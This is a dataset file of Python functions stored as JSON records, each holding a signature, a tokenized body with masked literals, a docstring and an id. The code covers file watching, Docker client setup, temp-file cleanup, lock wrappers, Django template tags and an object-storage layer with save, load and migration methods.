{"signature": "def _on_file_modified(self, event: FileSystemEvent):", "body": "if not event.is_directory and self.is_data_file(event.src_path):<EOL><INDENT>assert event.src_path in self._origin_mapped_data<EOL>self._origin_mapped_data[event.src_path] = self.no_error_extract_data_from_file(event.src_path)<EOL>self.notify_listeners(FileSystemChange.MODIFY)<EOL><DEDENT>", "docstring": "Called when a file in the monitored directory has been modified.\n:param event: the file system event", "id": "f13132:c2:m5"}
{"signature": "def _on_file_deleted(self, event: FileSystemEvent):", "body": "if not event.is_directory and self.is_data_file(event.src_path):<EOL><INDENT>assert event.src_path in self._origin_mapped_data<EOL>del(self._origin_mapped_data[event.src_path])<EOL>self.notify_listeners(FileSystemChange.DELETE)<EOL><DEDENT>", "docstring": "Called when a file in the monitored directory has been deleted.\n:param event: the file system event", "id": "f13132:c2:m6"}
{"signature": "def _on_file_moved(self, event: FileSystemMovedEvent):", "body": "if not event.is_directory and self.is_data_file(event.src_path):<EOL><INDENT>delete_event = FileSystemEvent(event.src_path)<EOL>delete_event.event_type = EVENT_TYPE_DELETED<EOL>self._on_file_deleted(delete_event)<EOL>create_event = FileSystemEvent(event.dest_path)<EOL>create_event.event_type = EVENT_TYPE_CREATED<EOL>self._on_file_created(create_event)<EOL><DEDENT>", "docstring": "Called when a file in the monitored directory has been moved.\n\nBreaks move down into a delete and a create (which it is sometimes detected as!).\n:param event: the file system event", "id": "f13132:c2:m7"}
{"signature": "@staticmethod<EOL><INDENT>def _on_any_event(event: FileSystemEvent):<DEDENT>", "body": "logging.debug(\"<STR_LIT>\" % event)<EOL>", "docstring": "Called when any file system event was detected\n:param event: the detected event", "id": "f13132:c2:m8"}
{"signature": "def _create_client(base_url: str, tls: TLSConfig=False) -> Optional[APIClient]:", "body": "try:<EOL><INDENT>client = APIClient(base_url=base_url, tls=tls, version=\"<STR_LIT>\")<EOL>return client if client.ping() else None<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Creates a Docker client with the given details.\n:param base_url: the base URL of the Docker daemon\n:param tls: the Docker daemon's TLS config (if any)\n:return: the created client else None if unable to connect the client to the daemon", "id": "f13133:m0"}
{"signature": "def create_client() -> APIClient:", "body": "global _client<EOL>client = _client()<EOL>if client is None:<EOL><INDENT>docker_environment = kwargs_from_env(assert_hostname=False)<EOL>if \"<STR_LIT>\" in docker_environment:<EOL><INDENT>client = _create_client(docker_environment.get(\"<STR_LIT>\"), docker_environment.get(\"<STR_LIT>\"))<EOL>if client is None:<EOL><INDENT>raise ConnectionError(<EOL>\"<STR_LIT>\"<EOL>% docker_environment)<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>client = _create_client(\"<STR_LIT>\")<EOL>if client is not None:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise ConnectionError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>_client = weakref.ref(client)<EOL><DEDENT>assert isinstance(client, APIClient)<EOL>return client<EOL>", "docstring": "Clients a Docker client.\n\nWill raise a `ConnectionError` if the Docker daemon is not accessible.\n:return: the Docker client", "id": "f13133:m1"}
{"signature": "def __init__(self, default_mkdtemp_kwargs: dict=None, default_mkstemp_kwargs: dict=None):", "body": "self.default_mkdtemp_kwargs = default_mkdtemp_kwargs if default_mkdtemp_kwargs is not None else {}<EOL>self.default_mkstemp_kwargs = default_mkstemp_kwargs if default_mkstemp_kwargs is not None else {}<EOL>self._temp_directories = set()  <EOL>self._temp_files = set()    <EOL>atexit.register(self.tear_down)<EOL>", "docstring": "Constructor.\n:param default_mkdtemp_kwargs:\n:param default_mkstemp_kwargs:", "id": "f13135:c0:m0"}
{"signature": "def tear_down(self):", "body": "while len(self._temp_directories) > <NUM_LIT:0>:<EOL><INDENT>directory = self._temp_directories.pop()<EOL>shutil.rmtree(directory, ignore_errors=True)<EOL><DEDENT>while len(self._temp_files) > <NUM_LIT:0>:<EOL><INDENT>file = self._temp_files.pop()<EOL>try:<EOL><INDENT>os.remove(file)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Tears down all temp files and directories.", "id": "f13135:c0:m1"}
{"signature": "def create_temp_directory(self, **mkdtemp_kwargs) -> str:", "body": "kwargs = {**self.default_mkdtemp_kwargs, **mkdtemp_kwargs}<EOL>location = tempfile.mkdtemp(**kwargs)<EOL>self._temp_directories.add(location)<EOL>return location<EOL>", "docstring": "Creates a temp directory.\n:param mkdtemp_kwargs: named arguments to be passed to `tempfile.mkdtemp`\n:return: the location of the temp directory", "id": "f13135:c0:m2"}
{"signature": "def create_temp_file(self, **mkstemp_kwargs) -> Tuple[int, str]:", "body": "kwargs = {**self.default_mkstemp_kwargs, **mkstemp_kwargs}<EOL>handle, location = tempfile.mkstemp(**kwargs)<EOL>self._temp_files.add(location)<EOL>return handle, location<EOL>", "docstring": "Creates a temp file.\n:param mkstemp_kwargs: named arguments to be passed to `tempfile.mkstemp`\n:return: tuple where the first element is the file handle and the second is the location of the temp file", "id": "f13135:c0:m3"}
{"signature": "def create_random_string(postfix: str= \"<STR_LIT>\", prefix: str=\"<STR_LIT>\") -> str:", "body": "return \"<STR_LIT>\" % (prefix, uuid4(), postfix)<EOL>", "docstring": "Creates a random string.\n:param postfix: optional postfix\n:param prefix: optional prefix\n:return: created string", "id": "f13138:m0"}
{"signature": "def get_open_port() -> int:", "body": "free_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<EOL>free_socket.bind((\"<STR_LIT>\", <NUM_LIT:0>))<EOL>free_socket.listen(<NUM_LIT:1>)<EOL>port = free_socket.getsockname()[<NUM_LIT:1>]<EOL>free_socket.close()<EOL>return port<EOL>", "docstring": "Gets a PORT that will (probably) be available on the machine.\nIt is possible that in-between the time in which the open PORT of found and when it is used, another process may\nbind to it instead.\n:return: the (probably) available PORT", "id": "f13138:m1"}
{"signature": "def extract_version_number(string: str) -> str:", "body": "matched = _EXTRACT_VERSION_PATTERN.search(string)<EOL>if matched is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return matched.group().replace(\"<STR_LIT:_>\", \"<STR_LIT:.>\")<EOL>", "docstring": "Extracts a version from a string in the form: `.*[0-9]+(_[0-9]+)*.*`, e.g. Irods4_1_9CompatibleController.\n\nIf the string contains multiple version numbers, the first (from left) is extracted.\n\nWill raise a `ValueError` if there is no version number in the given string.\n:param string: the string containing the version number\n:return: the extracted version", "id": "f13138:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self._lock = Lock(*args, **kwargs)<EOL>self._stat_lock = Lock()<EOL>self._waiting = <NUM_LIT:0><EOL>self._locked = False  <EOL>self._last_released = datetime.now()<EOL>", "docstring": "Wraps Lock constructor", "id": "f13142:c0:m0"}
{"signature": "def acquire(self, *args, **kwargs):", "body": "with self._stat_lock:<EOL><INDENT>self._waiting += <NUM_LIT:1><EOL><DEDENT>self._lock.acquire(*args, **kwargs)<EOL>with self._stat_lock:<EOL><INDENT>self._locked = True<EOL>self._waiting -= <NUM_LIT:1><EOL><DEDENT>", "docstring": "Wraps Lock.acquire", "id": "f13142:c0:m1"}
{"signature": "def release(self):", "body": "self._lock.release()<EOL>with self._stat_lock:<EOL><INDENT>self._locked = False<EOL>self._last_released = datetime.now()<EOL><DEDENT>", "docstring": "Wraps Lock.release", "id": "f13142:c0:m2"}
{"signature": "def waiting_to_acquire(self) -> int:", "body": "with self._stat_lock:<EOL><INDENT>return self._waiting<EOL><DEDENT>", "docstring": "Return the number of threads waiting to acquire the lock", "id": "f13142:c0:m3"}
{"signature": "def is_locked(self) -> bool:", "body": "with self._stat_lock:<EOL><INDENT>return self._locked<EOL><DEDENT>", "docstring": "Is the lock currently acquired", "id": "f13142:c0:m4"}
{"signature": "def last_released(self) -> datetime:", "body": "with self._stat_lock:<EOL><INDENT>return self._last_released<EOL><DEDENT>", "docstring": "Return the last lock release time", "id": "f13142:c0:m5"}
{"signature": "def __init__(self, target: _RegistrationTarget, event_type: Type):", "body": "self.target = target<EOL>self.event_type = event_type<EOL>", "docstring": "Constructor.\n:param target: the object the event refers to\n:param event_type: the type of update event", "id": "f13143:c2:m0"}
{"signature": "def get_listeners(self) -> Sequence[Callable[[_ListenableDataType], None]]:", "body": "return self._listeners<EOL>", "docstring": "Get all of the registered listeners.\n:return: list of the registered listeners", "id": "f13145:c0:m1"}
{"signature": "def add_listener(self, listener: Callable[[_ListenableDataType], None]):", "body": "self._listeners.append(listener)<EOL>", "docstring": "Adds a listener.\n:param listener: the event listener", "id": "f13145:c0:m2"}
{"signature": "def remove_listener(self, listener: Callable[[_ListenableDataType], None]):", "body": "self._listeners.remove(listener)<EOL>", "docstring": "Removes a listener.\n:param listener: the event listener to remove", "id": "f13145:c0:m3"}
{"signature": "def notify_listeners(self, data: Optional[_ListenableDataType]=_NO_DATA_MARKER):", "body": "for listener in self._listeners:<EOL><INDENT>if data is not Listenable._NO_DATA_MARKER:<EOL><INDENT>listener(data)<EOL><DEDENT>else:<EOL><INDENT>listener()<EOL><DEDENT><DEDENT>", "docstring": "Notify event listeners, passing them the given data (if any).\n:param data: the data to pass to the event listeners", "id": "f13145:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def get_higher_priority_value(value: int):<DEDENT>", "body": "if value == Priority.MAX_PRIORITY:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return value - <NUM_LIT:1><EOL>", "docstring": "Gets a higher priority value than that given.\n\nWill raise a `ValueError` if already highest priority value.\n:param value: gets a higher priority value than this\n:return: the higher priority value", "id": "f13146:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_lower_priority_value(value: int):<DEDENT>", "body": "if value == Priority.MIN_PRIORITY:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return value + <NUM_LIT:1><EOL>", "docstring": "Gets a lower priority value than that given.\n\nWill raise a `ValueError` if already lowest priority value.\n:param value: gets a lower priority value than this\n:return: the lower priority value", "id": "f13146:c0:m1"}
{"signature": "@register.filter(is_safe=False)<EOL>def to_data_string_with_default(value, arg='<STR_LIT>'):", "body": "if isinstance(value, bool):<EOL><INDENT>if value:<EOL><INDENT>return '<STR_LIT:true>'<EOL><DEDENT>return '<STR_LIT:false>'<EOL><DEDENT>return value or arg<EOL>", "docstring": "Given a Python boolean value converts it to string representation so\n    we can use it in HTML data attributes. If value is None use given default\n    or '' if default is not provided.\n\n    -----       ------\n    Value       Output\n    -----       ------\n    True        \"true\"\n    False       \"false\"\n    None        arg", "id": "f13148:m1"}
{"signature": "@register.tag<EOL>def social_widget_render(parser, token):", "body": "bits = token.split_contents()<EOL>tag_name = bits[<NUM_LIT:0>]<EOL>if len(bits) < <NUM_LIT:2>:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" %<EOL>tag_name)<EOL><DEDENT>args = []<EOL>kwargs = {}<EOL>bits = bits[<NUM_LIT:1>:]<EOL>if len(bits):<EOL><INDENT>for bit in bits:<EOL><INDENT>match = kwarg_re.match(bit)<EOL>if not match:<EOL><INDENT>raise TemplateSyntaxError(\"<STR_LIT>\" %<EOL>tag_name)<EOL><DEDENT>name, value = match.groups()<EOL>if name:<EOL><INDENT>name = name.replace('<STR_LIT:->', '<STR_LIT:_>')<EOL>kwargs[name] = parser.compile_filter(value)<EOL><DEDENT>else:<EOL><INDENT>args.append(parser.compile_filter(value))<EOL><DEDENT><DEDENT><DEDENT>return SocialWidgetNode(args, kwargs)<EOL>", "docstring": "Renders the selected social widget. You can specify optional settings\n    that will be passed  to widget template.\n\n    Sample usage:\n    {% social_widget_render widget_template ke1=val1 key2=val2 %}\n\n    For example to render Twitter follow button you can use code like this:\n    {% social_widget_render 'twitter/follow_button.html' username=\"ev\" %}", "id": "f13148:m2"}
{"signature": "@register.assignment_tag<EOL>def social_get_facebook_locale(locale):", "body": "if locale is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return normalize(locale).split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>", "docstring": "Normalize the locale string and split the value needed for the api url", "id": "f13148:m3"}
{"signature": "def _subscribe_mock(self, signal_name, weak):", "body": "callback = mock.Mock()<EOL>decorator = self.model.subscribe(signal_name, weak)<EOL>return decorator(callback)<EOL>", "docstring": "Create a mock callback function and subscribe it to the specific\n        signal on ``self.model``.", "id": "f13173:c0:m4"}
{"signature": "@task<EOL>def mongo(daemon=False, port=<NUM_LIT>):", "body": "cmd = \"<STR_LIT>\".format(port)<EOL>if daemon:<EOL><INDENT>cmd += \"<STR_LIT>\"<EOL><DEDENT>run(cmd)<EOL>", "docstring": "Run the mongod process.", "id": "f13190:m0"}
{"signature": "def find_version(fname):", "body": "version = '<STR_LIT>'<EOL>with open(fname, '<STR_LIT:r>') as fp:<EOL><INDENT>reg = re.compile(r'<STR_LIT>')<EOL>for line in fp:<EOL><INDENT>m = reg.match(line)<EOL>if m:<EOL><INDENT>version = m.group(<NUM_LIT:1>)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if not version:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return version<EOL>", "docstring": "Attempts to find the version number in the file names fname.\n    Raises RuntimeError if not found.", "id": "f13191:m1"}
{"signature": "def freeze(value):", "body": "if isinstance(value, list):<EOL><INDENT>return FrozenList(*value)<EOL><DEDENT>if isinstance(value, dict):<EOL><INDENT>return FrozenDict(**value)<EOL><DEDENT>return value<EOL>", "docstring": "Cast value to its frozen counterpart.", "id": "f13196:m0"}
{"signature": "def set_nested(data, value, *keys):", "body": "if len(keys) == <NUM_LIT:1>:<EOL><INDENT>data[keys[<NUM_LIT:0>]] = value<EOL><DEDENT>else:<EOL><INDENT>if keys[<NUM_LIT:0>] not in data:<EOL><INDENT>data[keys[<NUM_LIT:0>]] = {}<EOL><DEDENT>set_nested(data[keys[<NUM_LIT:0>]], value, *keys[<NUM_LIT:1>:])<EOL><DEDENT>", "docstring": "Assign to a nested dictionary.\n\n    :param dict data: Dictionary to mutate\n    :param value: Value to set\n    :param list *keys: List of nested keys\n\n    >>> data = {}\n    >>> set_nested(data, 'hi', 'k0', 'k1', 'k2')\n    >>> data\n    {'k0': {'k1': {'k2': 'hi'}}}", "id": "f13197:m0"}
{"signature": "def proxy_factory(BaseSchema, label, ProxiedClass, get_key):", "body": "def local():<EOL><INDENT>key = get_key()<EOL>try:<EOL><INDENT>return proxies[BaseSchema][label][key]<EOL><DEDENT>except KeyError:<EOL><INDENT>proxies[BaseSchema][label][key] = ProxiedClass()<EOL>return proxies[BaseSchema][label][key]<EOL><DEDENT><DEDENT>return LocalProxy(local)<EOL>", "docstring": "Create a proxy to a class instance stored in ``proxies``.\n\n    :param class BaseSchema: Base schema (e.g. ``StoredObject``)\n    :param str label: Name of class variable to set\n    :param class ProxiedClass: Class to get or create\n    :param function get_key: Extension-specific key function; may return e.g.\n        the current Flask request", "id": "f13200:m0"}
{"signature": "def with_proxies(proxy_map, get_key):", "body": "def wrapper(cls):<EOL><INDENT>for label, ProxiedClass in six.iteritems(proxy_map):<EOL><INDENT>proxy = proxy_factory(cls, label, ProxiedClass, get_key)<EOL>setattr(cls, label, proxy)<EOL><DEDENT>return cls<EOL><DEDENT>return wrapper<EOL>", "docstring": "Class decorator factory; adds proxy class variables to target class.\n\n    :param dict proxy_map: Mapping between class variable labels and proxied\n        classes\n    :param function get_key: Extension-specific key function; may return e.g.\n        the current Flask request", "id": "f13200:m1"}
{"signature": "def _to_primary_key(self, value):", "body": "if value is None:<EOL><INDENT>return None<EOL><DEDENT>if isinstance(value, self.base_class):<EOL><INDENT>if not value._is_loaded:<EOL><INDENT>raise exceptions.DatabaseError('<STR_LIT>')<EOL><DEDENT>return value._primary_key<EOL><DEDENT>return self.base_class._to_primary_key(value)<EOL>", "docstring": "Return primary key; if value is StoredObject, verify\nthat it is loaded.", "id": "f13209:c0:m4"}
{"signature": "def _get_underlying_data(self, instance):", "body": "self._touch(instance)<EOL>return self.data.get(instance, None)<EOL>", "docstring": "Return data from raw data store, rather than overridden\n        __get__ methods. Should NOT be overwritten.", "id": "f13211:c0:m16"}
{"signature": "def warn_if_detached(func):", "body": "@wraps(func)<EOL>def wrapped(this, *args, **kwargs):<EOL><INDENT>if '<STR_LIT>' in this.__dict__ and this._detached:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL><DEDENT>return func(this, *args, **kwargs)<EOL><DEDENT>return wrapped<EOL>", "docstring": "Warn if self / cls is detached.", "id": "f13215:m3"}
{"signature": "def has_storage(func):", "body": "@wraps(func)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>me = args[<NUM_LIT:0>]<EOL>if not hasattr(me, '<STR_LIT>') ornot me._storage:<EOL><INDENT>raise exceptions.ImproperConfigurationError(<EOL>'<STR_LIT>'<EOL>.format(me._name.upper())<EOL>)<EOL><DEDENT>return func(*args, **kwargs)<EOL><DEDENT>return wrapped<EOL>", "docstring": "Ensure that self/cls contains a Storage backend.", "id": "f13215:m4"}
{"signature": "def rm_fwd_refs(obj):", "body": "for stack, key in obj._backrefs_flat:<EOL><INDENT>backref_key, parent_schema_name, parent_field_name = stack<EOL>parent_schema = obj._collections[parent_schema_name]<EOL>parent_key_store = parent_schema._pk_to_storage(key)<EOL>parent_object = parent_schema.load(parent_key_store)<EOL>if parent_object is None:<EOL><INDENT>continue<EOL><DEDENT>if parent_object._fields[parent_field_name]._list:<EOL><INDENT>getattr(parent_object, parent_field_name).remove(obj)<EOL><DEDENT>else:<EOL><INDENT>parent_field_object = parent_object._fields[parent_field_name]<EOL>setattr(parent_object, parent_field_name, parent_field_object._gen_default())<EOL><DEDENT>parent_object.save()<EOL><DEDENT>", "docstring": "When removing an object, other objects with references to the current\n    object should remove those references. This function identifies objects\n    with forward references to the current object, then removes those\n    references.\n\n    :param obj: Object to which forward references should be removed", "id": "f13215:m5"}
{"signature": "def rm_back_refs(obj):", "body": "for ref in _collect_refs(obj):<EOL><INDENT>ref['<STR_LIT:value>']._remove_backref(<EOL>ref['<STR_LIT>']._backref_field_name,<EOL>obj,<EOL>ref['<STR_LIT>'],<EOL>strict=False<EOL>)<EOL><DEDENT>", "docstring": "When removing an object with foreign fields, back-references from\n    other objects to the current object should be deleted. This function\n    identifies foreign fields of the specified object whose values are not\n    None and which specify back-reference keys, then removes back-references\n    from linked objects to the specified object.\n\n    :param obj: Object for which back-references should be removed", "id": "f13215:m7"}
{"signature": "def ensure_backrefs(obj, fields=None):", "body": "for ref in _collect_refs(obj, fields):<EOL><INDENT>updated = ref['<STR_LIT:value>']._update_backref(<EOL>ref['<STR_LIT>']._backref_field_name,<EOL>obj,<EOL>ref['<STR_LIT>'],<EOL>)<EOL>if updated:<EOL><INDENT>logging.debug('<STR_LIT>'.format(<EOL>obj._name, obj._primary_key, ref['<STR_LIT>'],<EOL>ref['<STR_LIT:value>']._name, ref['<STR_LIT:value>']._primary_key,<EOL>))<EOL><DEDENT><DEDENT>", "docstring": "Ensure that all forward references on the provided object have the\n    appropriate backreferences.\n\n    :param StoredObject obj: Database record\n    :param list fields: Optional list of field names to check", "id": "f13215:m8"}
{"signature": "@property<EOL><INDENT>def _storage_key(self):<DEDENT>", "body": "return self._pk_to_storage(self._primary_key)<EOL>", "docstring": "Primary key passed through translator.", "id": "f13215:c2:m10"}
{"signature": "def get_changed_fields(self, cached_data, storage_data):", "body": "if not self._is_loaded or cached_data is None:<EOL><INDENT>return []<EOL><DEDENT>return [<EOL>field<EOL>for field in self._fields<EOL>if cached_data.get(field) != storage_data.get(field)<EOL>]<EOL>", "docstring": "Get fields that differ between the cache_sandbox and the current object.\n        Validation and after_save methods should only be run on diffed\n        fields.\n\n        :param cached_data: Storage-formatted data from cache_sandbox\n        :param storage_data: Storage-formatted data from object\n        :return: List of diffed fields", "id": "f13215:c2:m27"}
{"signature": "@classmethod<EOL><INDENT>@has_storage<EOL>@log_storage<EOL>def load(cls, key=None, data=None, _is_loaded=True):<DEDENT>", "body": "<EOL>signals.load.send(<EOL>cls,<EOL>key=key,<EOL>data=data,<EOL>)<EOL>if key is not None:<EOL><INDENT>key = cls._check_pk_type(key)<EOL>cached_object = cls._load_from_cache(key)<EOL>if cached_object is not None:<EOL><INDENT>return cached_object<EOL><DEDENT><DEDENT>if data is None:<EOL><INDENT>data = cls._storage[<NUM_LIT:0>].get(cls._primary_name, cls._pk_to_storage(key))<EOL><DEDENT>if data is None:<EOL><INDENT>return None<EOL><DEDENT>data = cls.from_storage(data)<EOL>if cls._version_of and '<STR_LIT>' in data and data['<STR_LIT>'] != cls._version:<EOL><INDENT>old_object = cls._version_of.load(data=data)<EOL>new_object = cls(_is_loaded=_is_loaded)<EOL>cls.migrate(old_object, new_object)<EOL>new_object._stored_key = new_object._primary_key<EOL>return new_object<EOL><DEDENT>ret = cls(_is_loaded=_is_loaded, **data)<EOL>ret._stored_key = ret._primary_key<EOL>return ret<EOL>", "docstring": "Get a record by its primary key.", "id": "f13215:c2:m33"}
{"signature": "@classmethod<EOL><INDENT>def migrate_all(cls):<DEDENT>", "body": "for record in cls.find():<EOL><INDENT>record.save()<EOL><DEDENT>", "docstring": "Migrate all records in this collection.", "id": "f13215:c2:m34"}
{"signature": "@classmethod<EOL><INDENT>def migrate(cls, old, new, verbose=True, dry_run=False, rm_refs=True):<DEDENT>", "body": "if verbose:<EOL><INDENT>logging.basicConfig(format='<STR_LIT>',<EOL>level=logging.DEBUG)<EOL><DEDENT>deleted_fields = [field for field in old._fields if field not in new._fields]<EOL>added_fields = [field for field in new._fields if field not in old._fields]<EOL>logging.info('<STR_LIT>'.format(deleted_fields))<EOL>logging.info('<STR_LIT>'.format(added_fields))<EOL>if old._primary_name != new._primary_name:<EOL><INDENT>logging.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(old_name=old._primary_name,<EOL>old_field=old._fields[old._primary_name],<EOL>new_name=new._primary_name,<EOL>new_field=new._fields[new._primary_name]))<EOL><DEDENT>for field in old._fields:<EOL><INDENT>if field not in cls._fields:<EOL><INDENT>if rm_refs:<EOL><INDENT>logging.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(name=field,<EOL>field=old._fields[field]))<EOL>if not dry_run:<EOL><INDENT>rm_fwd_refs(old)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(name=field,<EOL>field=old._fields[field]))<EOL><DEDENT>continue<EOL><DEDENT>old_field_obj = old._fields[field]<EOL>new_field_obj = new._fields[field]<EOL>if old_field_obj != new_field_obj:<EOL><INDENT>if not old_field_obj._required and new_field_obj._required:<EOL><INDENT>logging.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(name=field))<EOL><DEDENT>else:<EOL><INDENT>logging.info(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(name=field,<EOL>old_field=old_field_obj,<EOL>new_field=new_field_obj)<EOL>)<EOL><DEDENT>continue<EOL><DEDENT>if not dry_run:<EOL><INDENT>field_object = cls._fields[field]<EOL>field_object.__set__(<EOL>new,<EOL>getattr(old, field),<EOL>safe=True<EOL>)<EOL><DEDENT><DEDENT>if not dry_run:<EOL><INDENT>new.__backrefs = old.__backrefs<EOL><DEDENT>if not dry_run:<EOL><INDENT>cls._migrate(old, new)<EOL><DEDENT>", "docstring": "Migrate record to new schema.\n\n        :param old: Record from original schema\n        :param new: Record from new schema\n        :param verbose: Print detailed info\n        :param dry_run: Dry run; make no changes if true\n        :param rm_refs: Remove references on deleted fields", "id": "f13215:c2:m35"}
{"signature": "@classmethod<EOL><INDENT>def _migrate(cls, old, new):<DEDENT>", "body": "return new<EOL>", "docstring": "Subclasses can override this class to perform a custom migration.\n        This is run after the migrate() method.\n\n        Example:\n        ::\n\n            class NewSchema(StoredObject):\n                _id = fields.StringField(primary=True, index=True)\n                my_string = fields.StringField()\n\n                @classmethod\n                def _migrate(cls, old, new):\n                    new.my_string = old.my_string + 'yo'\n\n                _meta = {\n                    'version_of': OldSchema,\n                    'version': 2,\n                    'optimistic': True\n                }\n\n        :param old: Record from original schema\n        :param new: Record from new schema", "id": "f13215:c2:m36"}
{"signature": "def validate_record(self):", "body": "for validator in self._record_validators:<EOL><INDENT>validator(self)<EOL><DEDENT>", "docstring": "Apply record-level validation. Run on `save`.", "id": "f13215:c2:m40"}
{"signature": "@has_storage<EOL><INDENT>@log_storage<EOL>def save(self, force=False):<DEDENT>", "body": "if self._detached:<EOL><INDENT>raise exceptions.DatabaseError('<STR_LIT>')<EOL><DEDENT>for field_name, field_object in self._fields.items():<EOL><INDENT>if hasattr(field_object, '<STR_LIT>'):<EOL><INDENT>field_object.on_before_save(self)<EOL><DEDENT><DEDENT>signals.before_save.send(<EOL>self.__class__,<EOL>instance=self<EOL>)<EOL>cached_data = self._get_cached_data(self._stored_key)<EOL>storage_data = self.to_storage()<EOL>if self._primary_key is not None and cached_data is not None:<EOL><INDENT>fields_changed = set(<EOL>self.get_changed_fields(cached_data, storage_data)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>fields_changed = set(self._fields.keys())<EOL><DEDENT>if not fields_changed and not force:<EOL><INDENT>return []<EOL><DEDENT>for field_name in fields_changed:<EOL><INDENT>field_object = self._fields[field_name]<EOL>field_object.do_validate(getattr(self, field_name), self)<EOL><DEDENT>self.validate_record()<EOL>primary_changed = (<EOL>self._primary_key != self._stored_key<EOL>and<EOL>self._primary_name in fields_changed<EOL>)<EOL>if self._is_loaded:<EOL><INDENT>if primary_changed and not getattr(self, '<STR_LIT>', False):<EOL><INDENT>self.delegate(<EOL>self._storage[<NUM_LIT:0>].remove,<EOL>False,<EOL>RawQuery(self._primary_name, '<STR_LIT>', self._stored_key)<EOL>)<EOL>self._clear_caches(self._stored_key)<EOL>self.insert(self._primary_key, storage_data)<EOL><DEDENT>else:<EOL><INDENT>self.update_one(self, storage_data=storage_data, saved=True, inmem=True)<EOL><DEDENT><DEDENT>elif self._is_optimistic and self._primary_key is None:<EOL><INDENT>self._optimistic_insert()<EOL><DEDENT>else:<EOL><INDENT>self.insert(self._primary_key, storage_data)<EOL><DEDENT>if self._is_loaded and primary_changed:<EOL><INDENT>if not getattr(self, '<STR_LIT>', False):<EOL><INDENT>self._updating_key = True<EOL>update_backref_keys(self)<EOL>self._stored_key = self._primary_key<EOL>self._updating_key = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._stored_key = self._primary_key<EOL><DEDENT>self._is_loaded = True<EOL>signals.save.send(<EOL>self.__class__,<EOL>instance=self,<EOL>fields_changed=fields_changed,<EOL>cached_data=cached_data or {},<EOL>)<EOL>storage_data[self._primary_name] = self._storage_key<EOL>self._set_cache(self._primary_key, self, storage_data)<EOL>return fields_changed<EOL>", "docstring": "Save a record.\n\n        :param bool force: Save even if no fields have changed; used to update\n            back-references\n        :returns: List of changed fields", "id": "f13215:c2:m41"}
{"signature": "def update_fields(self, **kwargs):", "body": "for key, value in kwargs.items():<EOL><INDENT>self._fields[key].__set__(self, value, safe=True)<EOL><DEDENT>", "docstring": "Update multiple fields, specified by keyword arguments.\n\n        Example::\n\n            person.update(given_name='Fred', family_name='Mercury')\n\n        ... is equivalent to ... ::\n\n\n            person.given_name = 'Fred'\n            person.family_name = 'Mercury'\n\n        :param **kwargs: field names and the values to set", "id": "f13215:c2:m42"}
{"signature": "@classmethod<EOL><INDENT>@has_storage<EOL>@log_storage<EOL>def find(cls, query=None, **kwargs):<DEDENT>", "body": "cls._process_query(query)<EOL>return cls._storage[<NUM_LIT:0>].QuerySet(<EOL>cls,<EOL>cls._storage[<NUM_LIT:0>].find(query, **kwargs)<EOL>)<EOL>", "docstring": ":param query:\n:param kwargs:\n:return: an iterable of :class:`StoredObject` instances", "id": "f13215:c2:m49"}
{"signature": "@classmethod<EOL><INDENT>def delegate(cls, method, conflict=None, *args, **kwargs):<DEDENT>", "body": "if cls.queue.active:<EOL><INDENT>action = WriteAction(method, *args, **kwargs)<EOL>if conflict:<EOL><INDENT>logger.warn('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(action))<EOL><DEDENT>cls.queue.push(action)<EOL><DEDENT>else:<EOL><INDENT>method(*args, **kwargs)<EOL><DEDENT>", "docstring": "Execute or queue a database action. Variable positional and keyword\n        arguments are passed to the provided method.\n\n        :param function method: Method to execute or queue\n        :param bool conflict: Potential conflict between cache_sandbox and backend,\n            e.g., in the event of bulk updates or removes that bypass the\n            cache_sandbox", "id": "f13215:c2:m51"}
{"signature": "@classmethod<EOL><INDENT>def start_queue(cls):<DEDENT>", "body": "cls.queue.start()<EOL>", "docstring": "Start the queue. Between calling `start_queue` and `commit_queue`,\n        all writes will be deferred to the queue.", "id": "f13215:c2:m52"}
{"signature": "@classmethod<EOL><INDENT>def clear_queue(cls):<DEDENT>", "body": "cls.queue.clear()<EOL>", "docstring": "Clear the queue.", "id": "f13215:c2:m53"}
